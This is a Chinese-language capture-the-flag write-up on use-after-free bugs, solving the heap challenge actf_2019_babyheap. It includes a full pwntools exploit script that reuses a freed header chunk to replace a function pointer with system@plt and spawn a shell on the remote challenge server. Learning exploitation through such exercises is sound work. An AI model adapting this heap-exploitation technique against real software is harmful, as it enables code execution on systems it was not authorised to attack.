What is uaf
use after free
一般可能会有以下的场景
ptr=malloc(0x10)
free(ptr)
ptr->
可能写代码不会出现这样的明显错误,但如果多文件呢?可能你这个地方释放了,其他地方还存在引用
所以项目中记住,free之后立刻ptr=NULL
pwn题
在ctf里面,一般uaf出题模式就是
在bss开辟了区域,保存了每个heap的地址,但是free之后没有清除
而这个时候题目里通常分为两个heap,一个是头里面保存了print函数地址和data heap地址,另一个就是data heap
而这个时候就要想办法让我们分配的data heap填在已经分配的heap里面
例题
actf_2019_babyheap
题目很简单,三个标签
add函数
这里面先分配了个0x21大小的头chunk,第一个保存的就是data chunk的地址,第二个是print函数
show函数
调用函数
delete函数
bss指针没有清空
开始做题
准备框架
作为新人,首先把框架摆好,就是每个题目的输入输出不一样,先写好
#! /usr/bin/python3
# -*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import LibcSearcheronline
it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)
elf_path = "./ACTF_2019_babyheap_debug"
elf = ELF(elf_path)
context(arch=elf.arch, os="linux", log_level="debug")
if "debug" in elf_path:
libc_path = elf.linker.decode().replace("ld", "./libc")
libc = ELF(libc_path)
else:
libc_path = ""
if len(sys.argv) > 1:
remote_ip = "node4.buuoj.cn"
remote_port = 29825
io = remote(remote_ip, remote_port)
else:
if libc_path != "":
io = process(elf_path, env={"LD_PRELOAD": libc_path})
else:
io = process(elf_path)
def debug():
gdbscript = """
c
x/5xg 0x602060
"""
gdb.attach(io, gdbscript=gdbscript)
def add(size: int, content: bytes):
sa(b"choice: ", b"1")
sa(b"size: \n", str(size).encode())
sa(b"content: ", content)
def show(index: int):
sa(b"choice: ", b"3")
sa(b"index: \n", str(index).encode())
def free(index: int):
sa(b"choice: ", b"2")
sa(b"index: \n", str(index).encode())
调试
add(0x20, b"0")
add(0x20, b"1")
free(1)
debug()
it()
先创建两个块,然后删除一个,看看结构
这里中间4个,0x21 0x31 0x21 0x31是我们创建的
这里打印了bss区,发现chunk地址没有清空
那我们想办法把data chunk安排起来
attack
其实很简单,因为fafstbin,tchar会最优匹配,也就是如果你需要的大小0x20可以满足并且有空余,他就不会去寻找更大的0x30之类
add(0x20, b"0")
add(0x20, b"1")
free(1)
free(0)
add(0x10, b"2")
debug()
it()
可以看到data分配到了本该是头的chunk,而且这个时候还准备指针引用
那么我们把这个chunk的数据指向/bin/sh,函数指向system的plt
exp
add(0x20, b"0")
add(0x20, b"1")
free(1)
free(0)
add(0x10, p64(0x602010) + p64(elf.plt["system"]))
show(1)
it()
修改端口 exp.py r打远程获取flag
总结
一般的简单的uaf比较简单
重要的思路就是把我们的可以写的data chunk覆盖到已经被free的保存函数的chunk位置即可
uaf漏洞就是告诉你,一定记得free之后把指针全部清空,因为你不知道你的指针指向的地方到底是什么内容